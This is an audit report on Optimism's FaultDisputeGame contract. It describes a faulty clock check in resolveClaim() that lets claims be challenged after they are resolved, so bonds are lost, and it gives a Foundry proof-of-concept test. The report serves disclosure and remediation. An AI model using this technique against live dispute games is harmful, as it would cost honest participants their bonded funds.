Broad Cloth Goldfish

medium

# Claims can be challenged after they have been resolved, leading to lost bond for the sub-claimant(s)

## Summary
In `FaultDisputeGame.resolveClaim()`, a key invariant is stated: `INVARIANT: Cannot resolve a subgame unless the clock of its root has expired`. However, due to an incorrect time check, a claim can be resolved BEFORE the clock of it's root/parent has expired. This is a severe issue since anyone can still challenge this claim even though it has already been resolved. Then the entire dispute game can be resolved before these new claims have been resolved, leading to loss of funds for the claimants.

## Vulnerability Detail
The `FaultDisputeGame.resolveClaim()` uses the following check, attempting to ensure that the clock of any subgame's root has expired before resolving the subgame.

```solidity
// INVARIANT: Cannot resolve a subgame unless the clock of its root has expired
uint64 parentClockDuration = parent.clock.duration().raw();
uint64 timeSinceParentMove = uint64(block.timestamp) - parent.clock.timestamp().raw();

if (parentClockDuration + timeSinceParentMove <= GAME_DURATION.raw() >> 1) { 
    revert ClockNotExpired();
}
```

As shown in the code comment above, it is stated as an INVARIANT that one cannot resolve a subgame unless the clock of its root has expired. However the calculation for the clock of it's root is done incorrectly.

`parentClockDuration` represents the amount of elapsed time of the claim's root.
`timeSinceParentMove` represents the elapsed time since the claim was made.

Hence, `timeSinceParentMove` does NOT represent time that should be incremented to the chess clock of the claim.
However, the check shown above adds `timeSinceParentMove` to `parentClockDuration` and checks that to ensure this is greater than `3.5 days`.

Because of this incorrect calculation, `timeSinceParentMove` can be inflated (simply by waiting) such that `resolveClaim()` will not revert even though the chess clock of the claim's root has not expired, breaking the key invariant.

## Impact
Due to the invariant violation, claims can be resolved prematurely, and challenges to the claim can still be made. Then the game can be resolved while those challenges made to the resolved claim are left unresolved. This means that those challenges (and any subsequently created sub-challenges) cannot be resolved permanently, leading to permanently lost bonded funds for these honest actors.

## Code Snippet
https://github.com/sherlock-audit/2024-02-optimism-2024/blob/f216b0d3ad08c1a0ead557ea74691aaefd5fd489/optimism/packages/contracts-bedrock/src/dispute/FaultDisputeGame.sol#L411-L416

## Proof of Concept
The following proof of concept proves that the invariant (INVARIANT: Cannot resolve a subgame unless the clock of its root has expired) can be violated, and funds are lost for the honest actors.

The test is a fuzz test, in order to demonstrate how the issue arises for an extremely wide range of wait times, and not just for certain discrete edge cases.

**To run the PoC:** add the following foundry test to `test/dispute/FaultDisputeGame.t.sol` in the `packages/contracts-bedrock` package.

Then run `forge test --mt test_fuzz_attackAlreadyResolvedClaim` in the terminal

<details>
<summary> Foundry test </summary>

```solidity
// This is a fuzz test which demonstrates the issue of being able to attack a claim that has been resolved,
    // leading to loss for the claimant without affecting the state of the dispute game.
    // The bounded fuzzing demonstrates the wide possibility of time frames in which this bug manifests itself.
    function test_fuzz_attackAlreadyResolvedClaim(uint64 _firstWaitTime, uint64 _secondWaitTime) public {
        uint256 balance = 1000 ether;
        address alice = address(0xa11ce);
        address bob = address(0xb0b);
        vm.deal(address(this), balance);
        vm.deal(alice, balance);
        vm.deal(bob, balance);

       
        uint256 firstBond = _getRequiredBond(0);
        vm.prank(alice);
        gameProxy.attack{ value: firstBond }(0, _dummyClaim());

        // The first wait time is ANY TIME between 1 second, and 3.5 days.
        // after 1 day, bob now contests alice's claim with a 'defend' move
        _firstWaitTime = uint64(bound(_firstWaitTime, 1 seconds, 3.5 days));
        vm.warp(block.timestamp + _firstWaitTime);
        uint256 secondBond = _getRequiredBond(1);
        vm.prank(bob);
        gameProxy.defend{ value: secondBond }(1, _dummyClaim());

        // The second wait time is any time between [3.5 days + 1 second - firstWaitTime, 3.5 days]
        _secondWaitTime = uint64(bound(_secondWaitTime, uint64(3.5 days + 1 seconds) - _firstWaitTime, 3.5 days));
        vm.warp(block.timestamp + _secondWaitTime);

        // All claims get resolved (in one tx)
        for (uint256 i = gameProxy.claimDataLen(); i > 0; i--) {
            (bool success,) = address(gameProxy).call(abi.encodeCall(gameProxy.resolveClaim, (i - 1)));
            assertTrue(success);
        }

        // Now alice is incorrectly still able to contest bob's resolved claim 
        // This works due to inconsistency between resolveClaim and move().
        // resolveClaim() says "chess clock is over, you can resolve now"
        // but move() says "chess clock still has time, you can attack the claim"
        // Why?
        // because move() reverts if `grandparent.duration + block.timestamp - parent.timestamp > 3.5`
        // however, resolveClaim() reverts if `parent.duration + block.timestamp - parent.timestamp <= 3.5`
        // the above bools are supposed to be complements of each other, but are not due to the first time being different

        // alice attacks bob's claim, even though bob's claim is already resolved (this shouldn't be allowed)
        uint256 thirdBond = _getRequiredBond(2);
        vm.prank(alice);
        gameProxy.attack{ value: thirdBond }(2, _dummyClaim());

        // resolve the game fully now
        gameProxy.resolve(); 

        // Alice's bond is stuck, cant get it back
        (bool success,) = address(gameProxy).call(abi.encodeCall(gameProxy.resolveClaim, (gameProxy.claimDataLen()-1)));
        assertFalse(success);

        // Wait for the withdrawal delay.
        vm.warp(block.timestamp + delayedWeth.delay() + 1 seconds);

        // Alice can't claim anything, but bob can.
        vm.expectRevert(NoCreditToClaim.selector);
        gameProxy.claimCredit(alice);
        gameProxy.claimCredit(bob);
 
        uint256 aliceLosses = firstBond + thirdBond;

        //Assert that alice lost money (including the claim she made on bob's resolved claim)
        assertEq(alice.balance, balance - aliceLosses);

        // Assert that bob gained money from alice's first bond
        assertEq(bob.balance, balance + firstBond);
    }
```

</details>

## Tool used
Manual Review, Foundry

## Recommendation
Consider using a more correct method to calculate the chess clock time of a claim's root. 